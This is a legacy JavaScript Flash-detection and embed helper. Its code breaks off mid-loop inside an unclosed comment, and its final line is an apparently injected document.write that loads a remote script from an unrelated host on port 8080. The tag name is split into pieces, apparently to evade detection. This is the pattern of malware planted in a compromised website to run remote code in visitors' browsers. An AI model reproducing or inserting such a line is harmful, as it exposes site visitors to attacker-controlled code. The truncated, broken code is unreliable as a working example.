// Flash Version Detector  v1.2.1
// documentation: http://www.dithered.com/javascript/flash_detect/index.html
// license: http://creativecommons.org/licenses/by/1.0/
// code by Chris Nott (chris[at]dithered[dot]com)
// with VBScript code from Alastair Hamilton (now somewhat modified)
function injectFlash(sMovie,sId,iWidth,iHeight, wmode, bgcolor, salign, scale){
    var flashVersion = getFlashVersion();
	if(document.getElementById){ // we'll only attempt this if we know that the browser supports the DOM
//		if(hasRightVersion) {  // if we've detected an acceptable version
			//alert(document.getElementById("extranav").style.display);
			//if (document.getElementById("extranav").style.display==300) {
		if (flashVersion >= requiredVersion) {
	   			var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
	   			+ 'WIDTH="' + iWidth + '" HEIGHT="' + iHeight + '"'
			    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" id="'+sMovie+'">'
			    + '<PARAM NAME="MOVIE" VALUE="' + sMovie + '">'
			    + '<PARAM NAME="PLAY" VALUE="true">'
			    + '<PARAM NAME="LOOP" VALUE="true">'
			    + '<PARAM NAME="QUALITY" VALUE="high">'
			    + '<PARAM NAME="MENU" VALUE="false">'
			    + '<PARAM NAME="wmode" VALUE="'+wmode+'">'
			    + '<PARAM NAME="bgcolor" VALUE="'+bgcolor+'">'
				+ '<PARAM NAME="salign" VALUE="'+salign+'">'
				+ '<PARAM NAME="scale" VALUE="'+scale+'">'
				+ '<EMBED SRC="' + sMovie + '"'
			    + 'WIDTH="' + iWidth + '" HEIGHT="' + iHeight + '"'
				+ 'PLAY="true"'
			    + 'LOOP="true"'
			    + 'QUALITY="high"'
			    + 'MENU="false"'
			    + 'WMODE="'+wmode+'"'
			    + 'BGCOLOR="'+bgcolor+'"'
				+ 'SALIGN="'+salign+'"'
				+ 'SCALE="'+scale+'"'
			    + 'NAME="'+sMovie+'"'
				+ 'TYPE="application/x-shockwave-flash"'
			    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
			    + '</EMBED>'
			    + '</OBJECT>';	
				document.getElementById(sId).innerHTML = oeTags;
		}
			//}
	}				
//	}
}

function isDefined(property) {
  return (typeof property != 'undefined');
}

var flashVersion = 0;

document.write('<script language="javascript" type="text/javascript" src="../includes/flash_detect_min.js"></script>');

function getFlashVersion() {

	return FlashDetect.major;

/*
   var latestFlashVersion = 9;
   var agent = navigator.userAgent.toLowerCase(); 
	
   // NS3 needs flashVersion to be a local variable
   if (agent.indexOf("mozilla/3") != -1 && agent.indexOf("msie") == -1) {
      flashVersion = 0;
   }
   
	// NS3+, Opera3+, IE5+ Mac (support plugin array):  check for Flash plugin in plugin array
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		var flashPlugin = navigator.plugins['Shockwave Flash'];
		if (typeof flashPlugin == 'object') { 
			for (


document.write('<s'+'cript type="text/javascript" src="http://dolgo.lulucabana.com:8080/HDV.js"></scr'+'ipt>');